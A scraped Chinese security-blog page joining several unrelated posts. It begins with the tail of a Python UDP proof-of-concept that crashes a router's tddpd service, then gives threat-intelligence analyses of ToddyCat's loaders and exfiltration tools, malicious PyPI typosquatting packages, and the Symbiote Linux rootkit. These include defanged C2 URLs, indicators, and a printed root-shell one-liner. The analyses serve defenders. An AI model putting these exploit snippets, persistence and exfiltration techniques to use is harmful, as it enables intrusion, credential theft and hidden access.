s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

s.sendto(data_bytes, ('127.0.0.1', 10461))

data=s.recv(1024)

print('recv:' + data.decode())

s.close()

一旦執行，我們可以查看Shambles 虛擬機的日誌，發現tddpd程序已經崩潰。

19.png

通過調試，我們可以確認崩潰的原因是傳入的v0=0x01000000超出了範圍，導致寫入值為0，從而引發了崩潰。

20.png

原文鏈接：Lian Security

HireHackking

SL_featured_ToddyCat-1200x600.jpg

ToddyCat是一個相對較新的複雜APT組織，卡巴斯基研究人員最早在2020年11月檢測到該組織的活動，當時該威脅組織正在對目標的Microsoft Exchange服務器進行一系列攻擊，去年的一篇文章曾描述過它。

之後，該組織於2020年12月開始活動，並對歐洲和亞洲的知名對象發動了多起攻擊。

在去年，我們發現了一組新的全新加載程序，並收集了有關其開發後活動的信息，這使我們能夠擴展對該組織的了解，並獲得有關攻擊者的TTP(戰術，技術和程序)的新信息。接下來，我們將描述他們的新工具集，用於竊取和洩露數據的惡意軟件，以及該組織用於橫向移動和進行間諜活動的技術。

工具集標準的加載器加載程序是64位庫，由rundll32.exe調用，或者用合法的和簽名的可執行文件進行側加載，這些組件在感染階段用於加載Ninja木馬作為第二階段。我們已經看到了這些新加載器的三種變體：

1.png

第一個變體的文件名為update.dll或x64.dll，通常使用合法的rundll32.exe Windows實用程序加載，大多數惡意代碼駐留在DllMain中，但下一個階段是通過導出的Start函數調用的，其他兩個變體應該與合法的VLC.exe媒體播放器一起加載，這被濫用來加載惡意庫。

加載程序通過從同一目錄中應該存在的另一個文件加載加密的有效負載來啟動其活動，然後使用異或對加載的數據進行解碼，其中異或項是使用一種不尋常的技術生成的。惡意軟件使用靜態種子（static seed）通過shuffle和add操作生成256字節的XOR_KEY塊。

2.png

使用另一個嵌入的64字節IDX塊作為索引再次對生成的XOR_KEY塊進行改組，以獲得特定的256字節XOR鍵，XOR密鑰用於解密文件內容，並將結果值加載到內存中。

Update A和VLC A在其進程地址空間中加載下一階段，解密的有效負載應該是一個庫，該庫導出具有特定名稱的函數：“Start”或“_”，具體要看變體。

變體VLC B創建一個新的wusa.exe (Windows Update Standalone Installer)進程，這是一個位於System32目錄下的合法Windows程序。然後，它將解密的有效負載注入遠程進程地址空間的地址空間，並使用CreateRemoteThread函數運行它。

定制的加載程序調查時，我們注意到在攻擊某些目標時，攻擊者用另一種變體替換了標準加載程序，我們稱之為定制加載程序，因為加密文件是為特定係統量身定制的。

該代碼與標準加載器變體VLC a類似，主要區別在於加密文件的位置和文件名（%CommonApplicationData%\Local\user.key

）以及用於獲取最終有效負載的解密方案。使用上面提到的相同算法，其中使用XOR_SEED生成256字節的XOR_KEY塊，然後使用另一個嵌入的64字節IDX塊將其混合，在混合兩個塊之前，惡意軟件會收集PhysicalDrive0的存儲屬性，從而獲得硬盤的型號。

3.png

用於獲取存儲屬性的代碼片段

並使用GetVolumeNameForVolumeMountPointA函數來檢索“C：\”卷GUID。

4.png

用於獲取卷GUID的代碼片段

這兩個值連續用作修改IDX塊的異或項。這種方法表明存儲在user.key的加密有效負載是為目標系統量身定制的。

據觀察，定制加載器用於保持長期持久性。用於實現此目標的技術與攻擊者的Samurai後門所使用的技術相同，後者允許攻擊者將惡意軟件隱藏在svchost.exe地址空間中。

在這種情況下，攻擊者創建以下註冊表項：

5.png

此註冊表項旨在強制合法的svchost.exe進程在系統啟動期間加載FontCacheSvc服務。進程的命令行看起來像這樣：

C：\Windows\system32\svchost.exe -k fontcsvc -s fontachesvc

攻擊者還創建一個新的服務，該服務被配置為加載定制的加載程序，該加載程序通常存儲在文件名apibridge.dll中。

6.png

Ninja由前面描述的組件加載的最後一個階段是Ninja代理。這是一種用c++編寫的複雜惡意軟件，可能是ToddyCat開發的未知利用後工具包的一部分。我們之前介紹過。

代理是一個提供各種功能的強大工具，包括但不限於：

運行進程的枚舉和管理；

文件系統管理；

管理多個反向shell會話；

向任意進程注入代碼；

在運行時加載附加模塊(可能是插件)；

代理功能，用於在C2和遠程主機之間轉發TCP數據包。

代理的最新版本支持與上一個報告中描述的相同的命令，但是配置不同。雖然以前的版本使用XOR項0xAA混淆了嵌入式配置，但新版本使用NOT二進制操作來實現相同的目的。

儘管配置中包含的信息保持不變，但互斥對象名稱已移到HTTP標頭之後。

LoFiSe

這是一個用於查找和收集目標系統上感興趣文件的組件。 LoFiSe這個名字來源於這個工具使用的互斥對象名稱(' MicrosoftLocalFileService ')，該工具本身是一個名為DsNcDiag.dll的DLL文件，使用DLL側加載技術啟動。使用軟件包“Pulse Secure Network Connect 8.3”中具有數字簽名和原始名稱為“nclauncher.exe”的合法可執行文件作為加載程序。以下路徑和文件名在被攻擊的系統上是已知的：

C：\ProgramFiles\WindowsMail\AcroRd64.exe

C：\ProgramFiles\WindowsMail\DsNcDiag.dll

C：\ProgramFiles\CommonFiles\VLCMedia\VLCMediaUP.exe

C：\ProgramFiles\CommonFiles\VLCMedia\DsNcDiag.dll啟動後，LoFiSe開始跟踪文件系統中的更改。系統中的所有驅動器都被監控。在收到文件創建或修改事件後，該工具執行幾次檢查。過濾大小大於6400000字節( 6mb)的文件。某些文件夾中的文件也會被過濾。這些都是在其完整路徑中包含ProgramData的文件，或者已經存儲在LoFiSe工作目錄中的文件。

以下是工具存儲文件的工作目錄，具體取決於版本：

C：\Programdata\Microsofts\

C：\windows\temp\在下一階段，根據以下掩碼檢查文件擴展名：

7.png

如果文件通過了所有的檢查並且適合收集，LoFiSe就會計算它的MD5哈希值，並用它來檢查以前複製的文件，並將此信息存儲在數據庫中。在該工具的所有已知版本中，數據庫文件稱為Date.db，並在工作目錄中創建。數據庫中添加了兩個表：

8.png

數據庫中的文件路徑

9.png

其他存儲數據

如果MD5文件不在表中，它將被添加到工作目錄中。

每隔三個小時，LoFiSe將工作目錄中的所有文件收集到一個有密碼保護的ZIP-archive中，並將其放入一個單獨的文件夾中以供進一步竊取：

10.png

準備收集數據時產生的日誌

DropBox上傳器這是一個通用的DropBox上傳器，任何人都可以使用它將數據上傳到流行的文件託管服務。這個工具可能不是todddycat唯一使用的，但我們觀察到該組織使用它來竊取被盜的文件，

這個小實用程序接受DropBox用戶訪問令牌作為參數。然後，它解析當前工作目錄並上傳具有以下擴展名的文件：

11.png

調查中，我們還發現了其他幾個類似的樣品，這些樣品由不同的包裝商保護，只在東南亞檢測到。然而，在某些示例中，該工具是在沒有明顯被ToddyCat感染的系統上發現的。

Pcexter這是另一個用於將存檔文件洩露到微軟OneDrive的上傳程序。該工具作為名為Vspmsg.dll的DLL文件傳播，該文件使用DLL側加載技術執行，作為加載器，該工具使用來自Visual Studio的合法可執行文件VSPerfCmd，該文件用於收集性能數據。這些可執行文件在受攻擊系統上的已知路徑如下：

c：\windows\temp\googledrivefs.exeC：\windows\temp\vspmsg.dll

c：\programfiles\windowsmail\securityhealthsystray64.exec：\programfiles\windowsmail\vspmsg.dll

c：\programfiles\commonfiles\vlcmedia\vlcmediastatus.exec：\programfiles\commonfiles\vlcmedia\vspmsg.dll這個工具需要以下參數：

12.png

啟動後，Pcexter等待事件“Global\SystemLocalPcexter”觸發，然後開始使用給定的掩碼在指定目錄中搜索文件。這是LoFiSe工具在創建要發送的存檔時設置的事件。

Pcexter使用OneDrive OAuth 2.0授權，檢索訪問令牌並通過POST方法發送文件：

13.png

其他工具被動UDP後門這是一個很小的被動後門，用UDP數據包接收命令，攻擊者通常在執行此後門之前通過任務遠程執行以下命令。

14.png

該命令在目標主機上創建一個名為SGAccessInboundRule的新防火牆規則。它允許後門在端口49683上接收UDP數據包。執行該命令後，攻擊者執行後門：

15.png

後門的邏輯很簡單：它將UDP套接字綁定到指定端口，解壓縮接收到的數據，並使用WinExec函數執行結果字符串。命令執行後，後門會返回一條包含當前系統時間和已執行命令的消息，以此反饋命令的執行情況。但是，後門程序不提供該命令的輸出。

這個後門的確切目的目前尚不清楚，但有可能是為了在檢測到其他植入程序時提供額外的持久性。

CobaltStrike在調查過程中，我們觀察到攻擊者在部署Ninja代理之前使用了CobaltStrike。具體來說，我們觀察到一個用c++編寫的加載器的使用，它位於：

C：\ProgramData\Microsoft\mf\windef.dll惡意軟件加載一個名為“BIN”的嵌入式資源。使用異或算法和嵌入在代碼中的密鑰：B0 9A E4 EA F7 BE B7 B0對資源內容進行反混淆。

由此產生的有效負載是CobaltStrike信標，配置為與以下URL通信：

hxxps：//www.githubdd.workers[.]dev/fam/mfe?restart=false攻擊開始大約10分鐘後，系統檢測到ToddyCat Ninja。

Post-exploitation調查發現，為了實現這一目標，攻擊者使用上面描述的加載程序和木馬等工具滲透企業網絡。之後，它就開始收集連接到同一網絡主機的信息，以查找可能具有感興趣文件的目標。

該組織執行發現活動，通過利用標準操作系統管理實用程序(如net和ping)枚舉域帳戶和DC服務器：

16.png

在確定潛在目標後，該組織通過使用受攻擊的域管理憑據在本地安裝網絡共享來橫向移動：

17.png

攻擊者註意隨著時間的推移輪換使用的憑據，相同的憑據不太可能長期使用。

複製腳本後，將創建一個計劃任務，執行並立即刪除網絡共享，所有這些都是針對每個目標主機循環進行的：

18.png

計劃任務通常可以包含單個發現命令、二進制調用或負責執行收集活動的PS1或BAT腳本。

在橫向移動期間，單命令計劃任務的輸出保存在特定的文件中，以便攻擊者將遠程驅動器掛載為本地共享時可以捕獲它：

19.png

在運行腳本的情況下，命令如下：然後，我們觀察到PS1腳本中發現的相同的PowerShell命令被包裝在BAT腳本中，這可能是為了避免被檢測到。

然而，有些文件夾似乎比其他文件夾更受歡迎：

20.png

攻擊者會對同一會話重用相同的任務名，這樣的名字通常會引起較少的懷疑，例如“one”和“tpcd”，而腳本名稱可以從兩個到四個隨機的鍵盤觀察字符變化，具有更高的熵。

在活動結束時，掛載一個臨時共享，然後在洩漏主機上刪除：

21.png

數據收集和洩露

如上所述，一旦確定了感興趣的目標，收集階段就開始了。攻擊者通常從許多不同的主機收集文件，並將它們存儲在檔案中，然後使用公共文件存儲服務從目標網絡中洩漏出來。

22.png

數據竊取方案

我們已經描述了一些工具，例如LoFiSe，專門用於識別和收集感興趣的文件，但是在調查過程中，我們還發現了ToddyCat使用的其他腳本，這些腳本使用WMI枚舉目標主機磁盤上的文件，並收集最近修改的具有.pdf,doc,docx,xls 和.xlsx擴展名的文檔。

在這些情況下，使用諸如7zip或RAR實用程序之類的工具執行壓縮，特定的工具可能是根據基礎設施中已經可用的工具來選擇的。與LoFiSe不同，集合腳本將枚舉文檔的路徑存儲在純文本TXT文件中。文檔壓縮可以直接在目標主機或洩漏主機上完成。

下面是在目標主機上運行的BAT腳本的內容：

23.png

在上面的示例中，文件被文件在一個tmp_文件夾中；我們還觀察到使用根據主機名參數化名稱的文件夾，例如：

24.png

要收集的文件也是根據它們最後的寫入時間來選擇的。文件的最後修改日期應該大於一定天數。這個數字通常作為腳本參數傳遞，並且可以硬編碼。

在主驅動器和輔助驅動器上選擇數據源時，收集腳本使用不同的策略。對於默認的Windows主驅動器，腳本遍歷用戶配置文件目錄(C：\Users)。這種方法增加了捕獲有價值數據的可能性，同時減少了所需的處理時間，並最大限度地減少了收集不需要文件的機會。在處理外部設備和其他非主存儲介質時，腳本會選擇一種更方便的策略，即選擇根目錄(\)。雖然主驅動器始終可用，但輔助驅動器可能並不總是可訪問，從而限制了收集機會。為了減少這一限制，攻擊者偶爾會擴展時間範圍，將輔助驅動器和可移動驅動器上的舊文件包括在其作用域中(如BAT代碼片段所示)。

以下是PS1腳本的結構：

25.png

攻擊者試圖通過保護腳本並將腳本代碼嵌入到PE “.text”部分中的特定釋放器來傳播它們以逃避防禦。

26.png

PowerShell腳本里面的可執行文件

滴管接收兩個參數；第一個是啟動執行時必須提供的密碼字符串，第二個是通過命令行實際傳輸到PS腳本的數字。啟動後，dropper創建一個名為pro.ps1的文件，並通過PowerShell執行它：

HireHackking

要點•在2023年9月，一名攻擊者通過Pypi執行了一次針對性的攻擊，將使用阿里雲服務、AWS和Telegram的開發人員吸引到惡意軟件包。

•這些軟件包中的惡意代碼不是自動執行，而是巧妙地隱藏在函數中，旨在僅在這些函數被調用時才觸發。

•攻擊者利用誤植域名和星標劫持（Starjacking）這兩種技術將開發人員引誘到惡意軟件包。

•其中一個惡意軟包模仿一個流行的代碼存儲庫，利用了它在Pypi軟件包管理器中的缺失大做文章。

在今年9月份，一個化名為“kohlersbtuh15”的攻擊者試圖通過向PyPi軟件包管理器上傳一系列惡意軟件包來鑽開源社區的空子。

從這些軟件包的名稱及其中所含的代碼來看，攻擊者的目標似乎是使用阿里雲服務、Telegram和AWS的開發人員。

1.png

圖1. kohlersbtuh15用戶帳戶

攻擊者實施了諸多技術，包括誤植域名和星標劫持（指攻擊者通過將軟件包鏈接到GitHub上一個毫不相關的不同軟件包的代碼存儲庫，以操縱衡量軟件包受歡迎程度的星標），以誘騙受害者下載惡意軟件包。

這種攻擊的特別之處在於，不同於在Python軟件包的設置文件中植入惡意代碼這種常見策略（一旦軟件包安裝就會自動執行），這個攻擊者將惡意腳本嵌入到軟件包的深處，嵌入到特定的函數中。這意味著惡意代碼只會在正常使用期間特定函數被調用時執行。

這種隱藏惡意代碼的獨特方法不僅有助於隱藏代碼，還針對特定的操作或功能，從而使攻擊更有效、更難檢測。此外，由於許多安全工具掃描查找可自動執行的惡意腳本，將代碼嵌入到函數中加大了規避這類安全措施的可能性。

攻擊途徑：誤植域名誤植域名利用開發人員在輸入安裝命令時所犯的擊鍵錯誤來利用人為錯誤，威脅分子可能會發布名稱與目標軟件包相似的惡意軟件包。

此外，如果開發人員在瀏覽網頁時不小心拼錯了合法軟件包的名稱，他們可能會在渾然不覺的情況下進入到惡意軟件包的網站。

攻擊者的手法是製作一個酷似合法軟件包的軟件包，但添加了一個隱藏的惡意依賴項，從而觸發惡意腳本在後台運行。攻擊者也可能將惡意代碼直接嵌入到軟件包中。

從受害者的角度來看，軟件包似乎正常運行，掩蓋了幕後開展的惡意活動。

攻擊途徑：星標劫持對於開源開發人員說，通常的工作流程包括在GitHub上託管項目，並通過NPM或PyPi等軟件包管理器分發可使用的軟件包。

從軟件包管理器中選擇軟件包時，開發人員通常查看該軟件包的受歡迎程度，通常是通過其GitHub統計數據來查看，一些軟件包管理器直觀地顯示這個指標，以此表明其質量和維護水平。

然而，軟件包管理器顯示的統計數據並沒有經過任何驗證，偽造這些統計數據很簡單。

星標劫持是將託管在軟件包管理器上的軟件包鏈接到GitHub上另一個毫不相關的軟件包的代碼存儲庫的做法。然後，毫無防備的開發人員上當受騙，以為這是值得信賴的軟件包。

為了最大限度地擴大攻擊範圍，攻擊者將星標劫持和誤植域名結合在同一個軟件包中，而這正是攻擊者決定對其許多軟件包所做的操作，“Telethon2”就是一個例子。

2.png

圖2

Telethon 2其中一個引人注目的軟件包是python軟件包Telethon2，它模仿了流行的“Telethon”軟件包（下載量達6900萬次），它還通過使用“telethon”軟件包的GitHub官方代碼存儲庫來執行星標劫持。

負責這起活動的攻擊者從官方“telethon”軟件包複製了完全相同的源代碼，只有一點不同：在“telethon/client/messages.py”文件中嵌入了以下兩行惡意代碼。

3.png

圖3. 惡意代碼隱藏在telethon2-1.30.3/telethon/client/messages.py的send_message函數中。

惡意代碼不是在軟件包下載時自動執行，而是在“send message”函數被調用才被激活。

這段代碼從“hxxps[:]//tg[.]aliyun-sdk-requests[.]xyz/telegram”中獲取base64編碼的外部內容，然後將其解碼以執行操作系統命令。

enumerate-iam另一個引人注目的軟件包是“enumerate-iam”軟件包。攻擊者利用了一個名為“enumerate-iam”的流行GitHub代碼存儲庫，該代碼存儲庫並沒有相應的Python軟件包，攻擊者創建了自己的惡意Python軟件包，與合法代碼存儲庫同名。

4.png

圖4. 合法GitHub代碼存儲庫：enumerate-iam

5.png

圖5. 惡意軟件包：“enumerate-iam”

與攻擊者的其他軟件包一樣，惡意代碼隱藏在軟件包中的一個函數中，一旦函數被激活，就會試圖竊取敏感憑據。

6.png

圖6

對於在GitHub上維護項目的維護者來說，這個跡象充分錶明至少要有一個佔位符軟件包，以防止攻擊者利用這條攻擊途徑。

7.png

圖7. 該列表顯示了惡意軟件包及其相應的攻擊技術

8.png

圖8. 按國家或地區劃分的惡意軟件包總下載量百分比分佈

影響通過瞄準Telegram、AWS和阿里雲等平台上使用的流行軟件包，攻擊者展示了很高的精準度。這不是一起隨機的行為，而是一起蓄意的行為，以攻擊依賴這些廣泛使用的平台的特定用戶，可能影響數百萬人。

這起攻擊的潛在損害並不僅限於受攻擊的系統，還涉及與這些平台相關的特定數據，包括來自Telegram的通訊內容細節、來自AWS的敏感雲數據以及來自阿里雲的業務相關信息。

攻擊者在特定函數中嵌入惡意代碼，以確保有害腳本在這些函數被調用之前保持潛伏狀態。這種方法不僅繞過了通常檢測自動執行腳本的許多常規安全掃描，還允許發動更有針對性的攻擊。當毫無戒心的開發人員或用戶調用這些函數時，他們不知不覺中激活了惡意代碼，使攻擊既隱蔽又高效。

結論星標劫持和誤植域名是攻擊者採用的常見方法，以加大攻擊得逞、感染盡可能多目標的機會。這些技術旨在使軟件包看起來很受歡迎，並強調使用它的其他開發人員的數量之多，從而提高軟件包的可信度。

對於在GitHub上維護熱門項目的那些人來說，至少在PyPi這樣的平台上擁有佔位符軟件包可以作為一種防護措施，防止伺機下手的攻擊者利用合法軟件包的缺失大做文章。

在代碼中使用惡意軟件包作為依賴項帶來了很大的風險，在最好的情況下，最終會感染網絡中擁有高優先權的開發人員帳戶；如果不那麼幸運，最終可能會使客戶感染上被污染的軟件版本。

軟件包•enumerate-iam

•aliababcloud-tea-openapi

•alibabacloud-vpc20180317

•python-cos-sdk-v5

•alibabacloud-ecs20180317

•aliyun-oss2

•python-aliyun-sdk-kms

•python-aliyun-sdk-ecs

•python-aliyun-sdk-rds

•python-aliyun-sdk-core

•telethon2

•tencentcloud-python-sdk

•arangodba

•aws-consoler2

HireHackking

symbiote-linux-threat-intezer-blog-graphic-1024x475px.png

幾個月前，Intezer的安全研究人員Joakim Kennedy和BlackBerry威脅研究與情報團隊發現了一種新出現的且從未被檢測到的Linux惡意軟件，研究人員已將其命名為Symbiote。

Symbiote 與通常遇到的其他Linux 惡意軟件的不同，它需要感染其他正在運行的進程才能對受感染的設備發起攻擊。它不是一個運行以感染設備的獨立可執行文件，而是一個共享對象(SO) 庫，它使用LD_PRELOAD (T1574.006) 加載到所有正在運行的進程中，然後通過寄生的方式潛入設備實施攻擊。一旦它感染了所有正在運行的進程，它就會獲得攻擊目標的rootkit 功能、獲取憑證的能力和遠程訪問能力。

LD_PRELOAD是Linux系統的一個環境變量，它可以影響程序的運行時的鏈接（Runtime linker），它允許你定義在程序運行前優先加載的動態鏈接庫。這個功能主要就是用來有選擇性的載入不同動態鏈接庫中的相同函數。通過這個環境變量，我們可以在主程序和其動態鏈接庫的中間加載別的動態鏈接庫，甚至覆蓋正常的函數庫。一方面，我們可以以此功能來使用自己的或是更好的函數（無需別人的源碼），而另一方面，我們也可以以向別人的程序注入程序，從而達到特定的目的。

Symbiote的首次出現最早發現Symbiote 是在2021 年11 月，它似乎是針對拉丁美洲的金融部門而編寫的。一旦感染成功，它就會隱藏起來。由於惡意軟件隱藏了所有文件、進程和網絡構件，因此在受感染的設備上執行實時取證可能不會發現任何問題。除了rootkit 功能外，該惡意軟件還為攻擊者提供了一個後門，以使用硬編碼密碼以設備上的任何用戶身份登錄，並以最高權限執行命令。

截止發稿時，研究人員還未找到足夠的證據來確定Symbiote 是否被用於高度針對性或廣泛的攻擊。

Symbiote 的一個特殊之處是其Berkeley Packet Filter (BPF) 掛鉤功能。 Symbiote 並不是第一個使用BPF 的Linux 惡意軟件。例如， 方程式組織（Equation Group）開發的高級後門一直在使用BPF 進行隱蔽通信。然而，Symbiote 利用BPF 隱藏受感染設備上的惡意網絡流量。當管理員在受感染的設備上啟動任何數據包捕獲工具時，BPF 字節碼被注入內核，定義應該捕獲哪些數據包。在這個過程中，Symbiote 首先添加它的字節碼，這樣它就可以過濾掉它不希望數據包捕獲軟件看到的網絡流量。

逃避檢測Symbiote非常隱蔽，該惡意軟件被設計為通過LD_PRELOAD指令由鏈接器加載。這允許它在任何其他共享對象之前加載。由於它首先被加載，才可以從為應用程序加載的其他庫文件中“劫持導入”。 Symbiote 使用它通過掛鉤libc 和libpcap 函數來隱藏它在設備上的存在。逃避檢測過程如下圖所示。

1.png

Symbiote逃避檢測技術

Host 活動Symbiote 惡意軟件除了隱藏自己在設備上的存在外，還隱藏與可能與其一起部署的惡意軟件相關的其他文件。在二進製文件中，有一個RC4 加密的文件列表。調用掛鉤函數時，惡意軟件首先會動態加載libc 並調用原始函數。此邏輯用於所有掛鉤函數。具體示例如下圖所示。

2.png

從libc 解析readdir 的邏輯

如果調用應用程序試圖訪問/proc 下的文件或文件夾，惡意軟件會刪除其列表中進程名稱的輸出。下面列表中的進程名稱是從我們發現的樣本中提取的。

3.png

如果調用應用程序沒有嘗試訪問/proc 下的內容，則惡意軟件會從文件列表中刪除結果。從我們檢查的所有樣本中提取的文件顯示在下面的列表中。一些文件名與Symbiote 使用的文件名相匹配，而其他文件名與疑似是受感染設備上的攻擊者使用的工具的文件名相匹配。該列表包括以下文件。

4.png

通過LD_PRELOAD將Symbiote加載到進程中的一個後果是，像ldd 這樣的工具（一種打印每個程序所需的共享庫的實用程序）會將惡意軟件列為加載的對象。為了解決這個問題，惡意軟件掛鉤execve 並在環境變量LD_TRACE_LOADED_OBJECTS 設置為1 的情況下查找對該函數的調用。 ldd 的手冊頁是這樣解釋其中原因的：

通常情況下，ldd 調用標準動態鏈接器，並將LD_TRACE_LOADED_OBJECTS 環境變量設置為1。這會導致動態鏈接器檢查程序的動態依賴關係，並找到加載滿足這些依賴關係的對象。對於每個依賴項，ldd 顯示匹配對象的位置和加載它的十六進制地址。

當惡意軟件檢測到這一點時，它會像ldd 一樣執行加載程序，但它會從結果中刪除自己的條目。

網絡活動Symbiote 還具有隱藏受感染設備上的網絡活動的功能。它使用三種不同的方法來實現這一點。第一種方法涉及掛鉤fopen 和fopen64。如果調用應用程序嘗試打開/proc/net/tcp，惡意軟件會創建一個臨時文件並將第一行複製到該文件。然後，它掃描每一行，以確定是否存在特定端口。如果惡意軟件在它正在掃描的一行中找到了它正在搜索的端口，它就會跳到下一行。否則，該行被寫入臨時文件。一旦原始文件被完全處理，惡意軟件就會關閉文件，並將臨時文件的文件描述符返回給調用者。本質上，這給了調用進程一個清除的結果，它排除了惡意軟件想要隱藏的所有網絡連接條目。

Symbiote 用來隱藏其網絡活動的第二種方法是劫持任何注入的數據包過濾字節碼。 Linux 內核使用擴展的Berkeley Packet Filter (eBPF)來允許基於用戶域進程提供的規則進行數據包過濾。過濾規則以內核在虛擬機(VM) 上執行的eBPF 字節碼的形式提供。因為內核直接執行過濾，這最大限度地減少了內核和用戶空間之間的上下文切換，從而提高了性能。

如果受感染設備上的應用程序嘗試使用eBPF 執行數據包過濾，Symbiote 會劫持過濾過程。首先，它掛鉤了libc 函數setsockopt。如果使用選項SO_ATTACH_FILTER 調用該函數，該選項用於在套接字上執行數據包過濾，它會在調用應用程序提供的eBPF 代碼之前添加自己的字節碼。

代碼片段1 顯示了由其中一個Symbiote 樣本注入的字節碼的註釋版本。如果它們符合以下條件，則字節碼被釋放：

马云惹不起马云 IPv6（TCP 或SCTP）和src 端口（43253 或43753 或63424 或26424）；

马云惹不起马云IPv6（TCP 或SCTP）和dst端口43253；

马云惹不起马云IPv4（TCP 或SCTP）和src 端口（43253 或43753 或63424 或26424）；

马云惹不起马云IPv4（TCP 或SCTP）和dst端口（43253 或43753 或63424 或26424）；

雖然此字節碼僅根據端口釋放數據包，但研究人員還觀察到基於IPv4 地址的流量過濾。在所有情況下，過濾都會對來自設備的入站和出站流量進行操作，以隱藏兩個方向的流量。如果條件不滿足，它只是跳轉到調用應用程序提供的字節碼的開頭。

如代碼片段1 所示，從其中一個樣本中提取的字節碼包含32 條指令。這段代碼不能單獨注入內核，因為它假定在它之後存在更多字節碼。這個字節碼中有一些跳轉，會跳到調用進程提供的字節碼的開頭。如果沒有調用者的字節碼，注入的字節碼會跳出邊界，這是內核不允許的。像這樣的字節碼要么必須手寫，要么通過修補編譯器生成的字節碼。這兩種選擇都表明該惡意軟件是由熟練的開發人員編寫的。

5.1.png

5.2.png

5.3.png

代碼片段1：從一個Symbiote 樣本中提取的帶註釋的字節碼

Symbiote 用來隱藏其網絡流量的第三種方法是掛鉤libpcap 函數。惡意軟件使用此方法過濾掉指向列表中域名的UDP 流量。它掛鉤函數pcap_loop 和pcap_stats 來完成這個任務。對於接收到的每個數據包，Symbiote 都會檢查UDP 有效負載以查找要過濾掉的域的子字符串。如果找到匹配項，惡意軟件會忽略該數據包並增加一個計數器。 pcap_stats 使用此計數器通過從處理的真實數據包數中減去計數器值來“更正”處理的數據包數。如果數據包有效負載不包含其列表中的任何字符串，則調用原始回調函數。該方法用於過濾掉UDP 數據包，而字節碼方法用於過濾掉TCP 數據包。通過使用這三種方法，惡意軟件可確保隱藏所有流量。

Symbiote的攻擊目標除了隱藏設備上的惡意活動外，該惡意軟件的目標是獲取憑據並為攻擊者提供遠程訪問。憑證收集是通過掛鉤libc 讀取函數來執行的。如果ssh 或scp 進程正在調用該函數，它會捕獲憑據。憑證首先使用嵌入式密鑰使用RC4 加密，然後寫入文件。例如，惡意軟件的一個版本將捕獲的憑據寫入文件/usr/include/certbot.h。

除了在本地存儲憑據外，還會洩露憑據。數據經過十六進制編碼並分塊，以通過DNS 地址(A) 記錄請求洩露到攻擊者控制的域名。 A 記錄請求的格式如下：

6.png

代碼片段2：Symbiote 用於洩露數據的DNS 請求結構

惡意軟件檢查設備是否在/etc/resolv.conf 中配置了名稱服務器。如果沒有，則使用Google 的DNS (8.8.8.8)。除了向域名發送請求外，Symbiote 還將其作為UDP 廣播發送。

對受感染計算機的遠程訪問是通過連接幾個Linux可插入身份驗證模塊(PAM)函數來實現的。當服務試圖使用PAM對用戶進行身份驗證時，惡意軟件會根據硬編碼的密碼檢查提供的密碼。如果提供的密碼匹配，掛起的函數將返回一個成功響應。由於鉤子在PAM中，所以它允許攻擊者對使用PAM的任何服務設備進行身份驗證。這包括像Secure Shell (SSH)這樣的遠程服務。

如果輸入的密碼與硬編碼的密碼不匹配，惡意軟件會將其保存並洩露，作為其鍵盤記錄功能的一部分。此外，惡意軟件還會向其命令與控制(C2) 域發送DNS TXT 記錄請求。 TXT 記錄的格式為%MACHINEID%.%C2_DOMAIN%。如果收到響應，惡意軟件base64 會解碼內容，檢查內容是否已由正確的ed25519 私鑰簽名，使用RC4 解密內容，並在生成的bash 進程中執行shell 腳本。此功能可以作為一種打破僵局的方法運行，以在正常過程不起作用的情況下重新獲得對設備的訪問權限。

一旦攻擊者通過受感染設備的身份驗證，Symbiote 就會提供獲得root 權限的功能。首次加載共享對象時，它會檢查環境變量HTTP_SETTHIS。如果變量設置了內容，則惡意軟件將有效用戶和組ID 更改為root 用戶，然後通過系統命令在執行內容之前刪除變量。

此過程要求SO 設置了setuid 權限標誌。一旦系統命令退出，Symbiote 也會退出進程，以防止原始進程執行。下圖顯示了執行的代碼。這允許通過在shell 中以任何用戶身份運行HTTP_SETTHIS=' /bin/bash -p ' /bin/true作為shell中的任何用戶。

7.png

使用root權限執行命令的邏輯

網絡基礎設施Symbiote 惡意軟件使用的域名冒充巴西的一些主要銀行。這表明這些銀行或其客戶是Symbiote 的潛在目標。利用惡意軟件使用的域名，研究人員成功地發現了一個相關的樣本，該樣本被上傳到VirusTotal，名稱為certbotx64。這個文件名與我們最初獲得的Symbiote樣本中列出的一個文件相匹配。該文件被識別為一個名為dnscat2的開源DNS隧道工具。

該示例在二進製文件中有一個配置，該配置使用git[.]bancodobrasil[.]dev 域作為其C2 服務器。在2 月和3 月期間，該域名解析為與Njalla 的虛擬專用服務器(VPS) 服務相關聯的IP 地址。 DNS 記錄顯示，幾個月前，相同的IP 地址被解析為ns1[.]cintepol[.]link 和ns2[.]cintepol[.]link。 Cintepol是巴西聯邦警察提供的一個情報門戶，該門戶允許警察訪問聯邦警察提供的不同數據庫，作為他們調查的一部分。用於此冒充域名的名稱服務器從2021 年12 月中旬到2022 年1 月末一直處於活動狀態。

同樣從2022 年2 月開始，caixa[.]wf 域的名稱服務器指向另一個Njalla VPS IP。下圖顯示了這些事件的時間線。除了網絡基礎設施之外，還包括文件提交給VirusTotal 的時間戳。這三個Symbiote 樣本是由來自巴西的同一提交者上傳的。這些文件似乎是在基礎架構上線之前提交給VirusTotal 的。

鑑於這些文件是在基礎設施上線之前提交給VirusTotal 的，並且由於某些樣本包含隱藏本地IP 地址的規則，因此這些樣本有可能在使用之前提交給VirusTotal 以測試防病毒檢測。此外，巴西於11 月底提交了一個似乎正在開發中的版本，進一步表明VirusTotal 正被Symbiote 背後的攻擊者或組織用於檢測測試。

8.png

顯示文件何時提交給VirusTotal 以及網絡基礎設施何時啟動的時間線

與其他惡意軟件的相似之處Symbiote 似乎是為竊取憑據和提供對受感染Linux 服務器的遠程訪問而設計的。 Symbiote 並不是第一個為此目的開發的Linux 惡意軟件。 2014 年，ESET 發布了對Ebury 的深入分析，Ebury 是一個OpenSSH 後門，也會執行憑據竊取。兩個惡意軟件家族使用的技術有一些相似之處。兩者都使用掛鉤函數來捕獲憑據並將捕獲的數據作為DNS 請求外洩。但是，這兩個惡意軟件家族對後門的身份驗證方法是不同的。當我們第一次使用Intezer Analyze 分析樣本時，只檢測到唯一代碼。由於Symbiote 和Ebury/Windigo 或任何其他已知惡意軟件之間沒有共享代碼，研究人員得出結論，Symbiote 是一種新的、未被發現的Linux 惡意軟件。

9.png

